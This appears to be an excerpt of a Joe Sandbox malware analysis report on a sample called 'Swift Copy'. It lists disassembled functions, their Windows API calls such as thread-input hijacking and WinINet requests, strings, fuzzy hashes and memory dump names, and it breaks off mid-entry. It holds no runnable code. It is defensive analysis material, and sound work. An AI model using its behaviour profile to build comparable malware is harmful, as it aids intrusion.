GetCurrentThreadId.KERNEL32 ref: 00DDB151
GetForegroundWindow.USER32(00000000,?,?,?,?,?,00DDA1E1,?,00000001), ref: 00DDB165
GetWindowThreadProcessId.USER32(00000000), ref: 00DDB16C
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00DDA1E1,?,00000001), ref: 00DDB17B
GetWindowThreadProcessId.USER32(?,00000000), ref: 00DDB18D
AttachThreadInput.USER32(?,00000000,00000001,?,?,?,?,?,00DDA1E1,?,00000001), ref: 00DDB1A6
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00DDA1E1,?,00000001), ref: 00DDB1B8
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00DDA1E1,?,00000001), ref: 00DDB1FD
AttachThreadInput.USER32(?,?,00000000,?,?,?,?,?,00DDA1E1,?,00000001), ref: 00DDB212
AttachThreadInput.USER32(00000000,?,00000000,?,?,?,?,?,00DDA1E1,?,00000001), ref: 00DDB21D

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: 46f4a954325f024540f3d7ecbcc39f7989d31ee1dc9e5263fe57e1e136e41772
Instruction ID: 9d379e88bfd384f4162ba33a38f29432ae4e04e91a09ec43c836cfccde873154
Opcode Fuzzy Hash: 46f4a954325f024540f3d7ecbcc39f7989d31ee1dc9e5263fe57e1e136e41772
Instruction Fuzzy Hash: 4131E576500204FFDB209F25EC84B6D7B7ABB11769F254207F901E6250C77199898F34

Function 00DA2C80 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00DA2C94

Part of subcall function 00DA29C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00DAD7D1,00000000,00000000,00000000,00000000,?,00DAD7F8,00000000,00000007,00000000,?,00DADBF5,00000000), ref: 00DA29DE
Part of subcall function 00DA29C8: GetLastError.KERNEL32(00000000,?,00DAD7D1,00000000,00000000,00000000,00000000,?,00DAD7F8,00000000,00000007,00000000,?,00DADBF5,00000000,00000000), ref: 00DA29F0

_free.LIBCMT ref: 00DA2CA0
_free.LIBCMT ref: 00DA2CAB
_free.LIBCMT ref: 00DA2CB6
_free.LIBCMT ref: 00DA2CC1
_free.LIBCMT ref: 00DA2CCC
_free.LIBCMT ref: 00DA2CD7
_free.LIBCMT ref: 00DA2CE2
_free.LIBCMT ref: 00DA2CED
_free.LIBCMT ref: 00DA2CFB

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 58a1d302e7ee0bcd7dbc18fbcaa18d273defff27e43d18ebfe112fdb8d3dadab
Instruction ID: 8258b3dce0dab5e27abdbe8ebf373276700c42bf53359eedb3b2b4291545d4a0
Opcode Fuzzy Hash: 58a1d302e7ee0bcd7dbc18fbcaa18d273defff27e43d18ebfe112fdb8d3dadab
Instruction Fuzzy Hash: 45119676140108AFCB42EF5AD842CEE3BA5FF06750F4144A5FA485B222D731EA509FB1

Function 00D71410 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 332comCOMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00D71459
OleUninitialize.OLE32(?,00000000), ref: 00D714F8
UnregisterHotKey.USER32(?), ref: 00D716DD
DestroyWindow.USER32(?), ref: 00DB24B9
FreeLibrary.KERNEL32(?), ref: 00DB251E
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00DB254B

Strings

close all, xrefs: 00D71454

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: a0a32e42e94d223270ab7d4754a2988dc97c94a2b093bea74f1b623f9c1305c4
Instruction ID: 1ababd6f6609ac7d78e1f14973f60a13f2ca30d93d3697a5c6889a8dbffea67d
Opcode Fuzzy Hash: a0a32e42e94d223270ab7d4754a2988dc97c94a2b093bea74f1b623f9c1305c4
Instruction Fuzzy Hash: BCD16A35601212CFCB29EF19C895A69F7A0FF45700F24829DE54A6B251EB31ED52CF71

Function 00DE7DF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00DE7FAD
SetCurrentDirectoryW.KERNEL32(?), ref: 00DE7FC1
GetFileAttributesW.KERNEL32(?), ref: 00DE7FEB
SetFileAttributesW.KERNEL32(?,00000000), ref: 00DE8005
SetCurrentDirectoryW.KERNEL32(?), ref: 00DE8017
SetCurrentDirectoryW.KERNEL32(?), ref: 00DE8060
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00DE80B0

Strings

*.*, xrefs: 00DE8066

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile
String ID: *.*
API String ID: 769691225-438819550
Opcode ID: f168e02fca725ec1e58266e498d1da685778fb309d7b0123f298c67930cf0e86
Instruction ID: a157f20810f695139924fc42b96411f4bc363310f980a0ca5ac347f248c28ddc
Opcode Fuzzy Hash: f168e02fca725ec1e58266e498d1da685778fb309d7b0123f298c67930cf0e86
Instruction Fuzzy Hash: CC8191725082829BCB64FF16C4459AEB3E8FF89710F18485EF889D7250EB35DD498B72

Function 00D75BEA Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 00D75C7A

Part of subcall function 00D75D0A: GetClientRect.USER32(?,?), ref: 00D75D30
Part of subcall function 00D75D0A: GetWindowRect.USER32(?,?), ref: 00D75D71
Part of subcall function 00D75D0A: ScreenToClient.USER32(?,?), ref: 00D75D99

GetDC.USER32 ref: 00DB46F5
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00DB4708
SelectObject.GDI32(00000000,00000000), ref: 00DB4716
SelectObject.GDI32(00000000,00000000), ref: 00DB472B
ReleaseDC.USER32(?,00000000), ref: 00DB4733
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 00DB47C4

Strings

U, xrefs: 00DB4693

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: be22e31693e56c404a6e7c8e8faab9fd53dab99b969674891384158816ddb678
Instruction ID: f8be2e61d033d7dd5da009bfbb23b7751934b962fe063467f3c466477efbe2f4
Opcode Fuzzy Hash: be22e31693e56c404a6e7c8e8faab9fd53dab99b969674891384158816ddb678
Instruction Fuzzy Hash: FA71D335400205DFCF21CF64C985AFA7BB5FF4A310F284269E9566A166DB31D881DFB1

Function 00DE359C Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,00000000), ref: 00DE35E4

Part of subcall function 00D79CB3: _wcslen.LIBCMT ref: 00D79CBD

LoadStringW.USER32(00E42390,?,00000FFF,?), ref: 00DE360A

Strings

Error: , xrefs: 00DE36EF
Line %d (File "%s"):, xrefs: 00DE366B
"%s" (%d) : ==> %s:, xrefs: 00DE3742
^ ERROR, xrefs: 00DE36C9
"%s" (%d) : ==> %s:%s%s, xrefs: 00DE3724

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: LoadString$_wcslen
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 4099089115-2391861430
Opcode ID: 4573207cdf245f5ffa660a5b256e94323a388ac3714f2d1a4ff8aafbbb27a219
Instruction ID: c6d3e201933094b73c88fbe6e27abb10e64709f70a74ecc51053a33ee748a631
Opcode Fuzzy Hash: 4573207cdf245f5ffa660a5b256e94323a388ac3714f2d1a4ff8aafbbb27a219
Instruction Fuzzy Hash: 7C518C72800249BACF15FBA1CC56EEEBB78EF14300F148165F109721A1EB316A99DF71

Function 00DEC253 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00DEC272
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00DEC29A
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00DEC2CA
GetLastError.KERNEL32 ref: 00DEC322
SetEvent.KERNEL32(?), ref: 00DEC336
InternetCloseHandle.WININET(00000000), ref: 00DEC341

Strings

, xrefs: 00DEC2BB

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: b1ceb47417e045f1776cd1489372c998ee21f73c361b32cc24ee6daef42dd4c8
Instruction ID: 0b066ca377c905f4cd55bdf84a3cd9eed769746c675c2dd35ebeab78bd2066a0
Opcode Fuzzy Hash: b1ceb47417e045f1776cd1489372c998ee21f73c361b32cc24ee6daef42dd4c8
Instruction Fuzzy Hash: C331C271510244AFD721AF66CC84A6B7BFCEB49744F18951EF486E3210DB31DD468B70

Function 00DD989B Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 74windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,00DB3AAF,?,?,Bad directive syntax error,00E0CC08,00000000,00000010,?,?,>>>AUTOIT SCRIPT<<<), ref: 00DD98BC
LoadStringW.USER32(00000000,?,00DB3AAF,?), ref: 00DD98C3

Part of subcall function 00D79CB3: _wcslen.LIBCMT ref: 00D79CBD

MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 00DD9987

Strings

%s (%d) : ==> %s.: %s %s, xrefs: 00DD98F1
Line %d:, xrefs: 00DD9912
Error: , xrefs: 00DD9955
Line %d (File "%s"):, xrefs: 00DD992D
., xrefs: 00DD996D

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: HandleLoadMessageModuleString_wcslen
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 858772685-4153970271
Opcode ID: 37fe2898e51ee5dac3eda45ac21488864805866144a128c387f86b9aa908dc34
Instruction ID: bded4a6b09d0df0d964a9237db076dd6f3206df82fad6de0464aa96deb27e6d2
Opcode Fuzzy Hash: 37fe2898e51ee5dac3eda45ac21488864805866144a128c387f86b9aa908dc34
Instruction Fuzzy Hash: 94214F32800219BBCF15AFA0CC1AEEDB779FF18700F049456F519760A1EA719658DB71

Function 00DD209F Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 71windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00DD20AB
GetClassNameW.USER32(00000000,?,00000100), ref: 00DD20C0
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00DD214D

Strings

SHELLDLL_DefView, xrefs: 00DD20CC
smallicons, xrefs: 00DD2115
largeicons, xrefs: 00DD20E1
list, xrefs: 00DD212F
details, xrefs: 00DD20FB

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ClassMessageNameParentSend
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1290815626-3381328864
Opcode ID: 620e13bdc041fdfdd8b2e31f290019242de65d88768b9b161a3239285854edeb
Instruction ID: f8111bb5c46f95b239b953ac0e0a7a103ae1c3eb99bf8d2330e8c81d0153629b
Opcode Fuzzy Hash: 620e13bdc041fdfdd8b2e31f290019242de65d88768b9b161a3239285854edeb
Instruction Fuzzy Hash: 751106776C8706B9FB112220EC0BDB677ACCF24724F205217FB44B52D2EE62A8469634

Function 00DACE90 Relevance: 13.7, APIs: 9, Instructions: 209COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 00DACEB7
_free.LIBCMT ref: 00DACF22
_free.LIBCMT ref: 00DACF48
_free.LIBCMT ref: 00DACF71
_free.LIBCMT ref: 00DACFA9
_free.LIBCMT ref: 00DACFDA
_free.LIBCMT ref: 00DAD01B
SetEnvironmentVariableA.KERNEL32(00000000,00000000), ref: 00DAD09C
_free.LIBCMT ref: 00DAD0B5

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: _free$EnvironmentVariable___from_strstr_to_strchr
String ID:
API String ID: 1282221369-0
Opcode ID: 51ea79001cdb87927f5e34d9fd3b3225659016337dee275e32916cde911287cd
Instruction ID: a1fef5c4da08c0f389abbe750b30072baeb343ea18a86f1876aa5f181e9ba206
Opcode Fuzzy Hash: 51ea79001cdb87927f5e34d9fd3b3225659016337dee275e32916cde911287cd
Instruction Fuzzy Hash: 85613472D06300AFDF21AFB99881A7A7BA5EF07330F08416DFA55A7281D7319D0587B1

Function 00E050D4 Relevance: 13.7, APIs: 9, Instructions: 162windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00002001,00000000,00000000), ref: 00E05186
ShowWindow.USER32(?,00000000), ref: 00E051C7
ShowWindow.USER32(?,00000005,?,00000000), ref: 00E051CD
SetFocus.USER32(?,?,00000005,?,00000000), ref: 00E051D1

Part of subcall function 00E06FBA: DeleteObject.GDI32(00000000), ref: 00E06FE6

GetWindowLongW.USER32(?,000000F0), ref: 00E0520D
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00E0521A
InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 00E0524D
SendMessageW.USER32(?,00001001,00000000,000000FE), ref: 00E05287
SendMessageW.USER32(?,00001026,00000000,000000FE), ref: 00E05296

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Window$MessageSend$LongShow$DeleteFocusInvalidateObjectRect
String ID:
API String ID: 3210457359-0
Opcode ID: d3a9ffed24b09ba80ab2ed402bc010125edbd4d2b5c1fddb58318a62e786454b
Instruction ID: 8bd9449151f412685cf519974db13c3c2ec7a5229799d5b07b735150bad8d542
Opcode Fuzzy Hash: d3a9ffed24b09ba80ab2ed402bc010125edbd4d2b5c1fddb58318a62e786454b
Instruction Fuzzy Hash: 3B517932A41A09FEEB209F25CC4ABDA3BA5AF05324F246112F615B62E0C771A9C0DF51

Function 00D88B06 Relevance: 13.7, APIs: 9, Instructions: 155windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,?,00000010,00000010,00000010), ref: 00DC6890
ExtractIconExW.SHELL32(?,?,00000000,00000000,00000001), ref: 00DC68A9
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 00DC68B9
ExtractIconExW.SHELL32(?,?,?,00000000,00000001), ref: 00DC68D1
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 00DC68F2
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,00D88874,00000000,00000000,00000000,000000FF,00000000), ref: 00DC6901
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 00DC691E
DestroyIcon.USER32(00000000,?,00000010,00000010,00000010,?,?,?,?,?,00D88874,00000000,00000000,00000000,000000FF,00000000), ref: 00DC692D

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend
String ID:
API String ID: 1268354404-0
Opcode ID: b3350169339a83166cb9f7001535ea52874201a2a4a87466c1865865e1cb199c
Instruction ID: 982967ce99919524a015077d988a54f993393924c7c24f41ce50251a7b4ca892
Opcode Fuzzy Hash: b3350169339a83166cb9f7001535ea52874201a2a4a87466c1865865e1cb199c
Instruction Fuzzy Hash: AD51AB70600206AFDB20DF25CC91FAA7BB5FF88750F144618F956A72E0DB71E990DB60

Function 00DEC143 Relevance: 13.6, APIs: 9, Instructions: 95networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00DEC182
GetLastError.KERNEL32 ref: 00DEC195
SetEvent.KERNEL32(?), ref: 00DEC1A9

Part of subcall function 00DEC253: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00DEC272
Part of subcall function 00DEC253: GetLastError.KERNEL32 ref: 00DEC322
Part of subcall function 00DEC253: SetEvent.KERNEL32(?), ref: 00DEC336
Part of subcall function 00DEC253: InternetCloseHandle.WININET(00000000), ref: 00DEC341

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Internet$ErrorEventLast$CloseConnectHandleOpen
String ID:
API String ID: 337547030-0
Opcode ID: e02aab0f1c4202863ca2054fb58fcb83dc7b8a87c7a395583579ca82c6ff1b4b
